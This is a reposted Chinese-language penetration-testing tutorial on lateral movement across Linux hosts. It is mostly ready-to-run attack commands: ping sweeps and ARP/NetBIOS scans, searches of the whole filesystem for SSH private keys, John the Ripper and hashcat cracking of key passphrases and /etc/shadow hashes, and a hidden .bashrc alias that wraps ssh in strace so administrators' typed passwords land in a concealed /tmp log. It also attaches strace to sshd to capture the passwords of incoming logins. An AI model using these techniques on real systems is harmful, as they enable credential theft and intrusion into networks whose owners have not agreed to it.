Linux横向移动

2023-12-13 04:44:12

Linux横向移动

主机存活探测

shell

for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
或者
for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done 

arpscan

git clone https://github.com/attackdebris/arpscan.git
make
chmod +x arpscan
./arpscan

nbtscan Linux版

wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz
tar -xzvf nbtscan-source-1.0.35.tgz
make

nbtscan -h

端口扫描

就正常端口扫描,没什么好说的。针对高危端口,按照渗透测试流程进行渗透,这里就不具体展开了。

常用比如Ladon、fscan等等

https://github.com/k8gege/LadonGo

image-20220302152610697

SSH横向

这个是Linux横向的重点,获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同

SSH私钥泄露

不了解SSH私钥登录的可以看这篇文章

https://www.runoob.com/w3cnote/set-ssh-login-key.html

一般情况下SSH密钥存放在~/.ssh/目录下:

image-20220206184233761

id_rsa 为私钥,id_rsa.pub 为公钥

搜索包含SSH密钥的文件:(下面命令不包含隐藏文件,也就是类似**.ssh**目录下的搜索不到)

grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*

grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*

grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*

如果找到密钥,则需要确定该密钥用于哪个服务器,关注一下几个文件:

/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_history 
~/.ssh/config 

known_hosts文件用于验证远程登陆系统的身份。ssh可以自动将密钥添加到用户文件,也可以手动添加。该文件包含用户已连接过所有主机的远程机器ip远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config文件中的HashKnownHosts字段的设置,有可能是明文也有可能是一段哈希字符串。如果没有~/.ssh/config文件,这取决于/etc/ssh/ssh_config 文件中的该字段。

修改 /etc/ssh/ssh_config 文件,

HashKnownHosts no

image-20220207135811443

HashKnownHosts yes

image-20220207135832884

通过密钥进行登录

使用linux机器登录,用-i指定密钥文件的路径

image-20220207112841246

如果要在Windows上使用的话,例如putty:

使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你设置了密钥锁码,这时则需要输入。

载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。

今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。

破解SSH密钥

如果发现的 SSH 密钥使用密码加密,则可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以访问 GPU,则应利用 hashcat 来缩短破解时间)。

John the Ripper 有一个函数可以将他的密钥转换为一个名为 john2hash.py 的哈希值,并且预先安装在 Kali 上:

转换哈希:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
使用综合密码字典爆破:
john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john
SSH密码爆破

SSH密码加密存储在/etc/shadow文件中,可以使用john the raper或者hashcat等工具尝试爆破。

shadow文件介绍

样例:

root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
以冒号分隔:
1.第一个字段是用户名
2.第二字字段是加密的密码,如果是X 则代表不能登录系统  
3.上次修改口令的时间
4.两次修改口令的最短间隔的天数
5.两次修改口令的最长的间隔天数  
6.设置提前多少天告警用户口令将过期
7.口令过期后多少天禁止此用户
8.用户过期日期
9.保留字段

$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
再来解释一下$分割的各个部分的含义:
密钥加密方式有5种:
$1 表示MD5加密算法
$2 表示使用blowfish 加密算法
$5 表示 SHA-256加密算法
$6 表示SHA-512加密算法(如上)
其他 标准的DES

qvhlqI7I:盐值
//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1     :hash值

John the rapper破解:

cp /etc/shadow shadow.txt             //直接保存shadow文件
unshadow /etc/passwd  /etc/shadow >shadow.txt   //如果有unshadow的话,也可以把这两个文件整合

john --wordlist=pass.txt shadow.txt   //利用字典进行破解
john --show shadow.txt        //查看破解信息

image-20220207161536066

hashcat破解(大字典推荐使用hashcat):

hashcat的使用可以看这篇文章https://xz.aliyun.com/t/4008

将/etc/shadow文件,提取密码字段保存hash.txt

$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force

-m 是指定那种加密类型,1800是SHA-512(Unix)的代号,具体–help来查看;
-a  是指定攻击模式,0代表Straight模式,使用字典进行破解尝试;
-o 是破解出来的信息输出结果文件,输出到found.txt文件中;
hash.txt 是我们上面保存的加密密码文件;
pass.txt 是我们的爆破密码,越大越精越好;
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项

image-20220207165438202

也可以使用hashcat hash --show来显示结果

image-20220207165237541

SSH Keylogger记录密码

利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的.bashrc里新建一条alias,这样可以抓取他登陆其他机器的ssh密码。

//在当前用户的shell环境中定义一个别名
vi ~/.bashrc

//在最后一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

//刷新当前的shell环境
source ~/.bashrc 

image-20220210101055597

设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用。

设置完毕后,使用SSH登录其他机器:

image-20220210101624395

然后,查看/tmp/.sshpwd-xxxxx文件即可找到密码:

image-20220210102704161

image-20220210102722864

strace监听ssh来源流量

刚刚使用别名的方式来抓取登陆其他机器时的密码,同样也可以利用strace来监听登陆本地的sshd流量,抓到别人连入的密码。

应用场景如:通过漏洞获取root权限,但是不知道明文密码。

ps -ef | grep sshd    //父进程PID

//运行
strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
//或者后台 运行
nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &

image-20220210111523417

image-20220210111531398

image-20220210111555797

image-20220210111647559

image-20220210111447828

文章来源:https://blog.csdn.net/st3pby/article/details/134809795
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。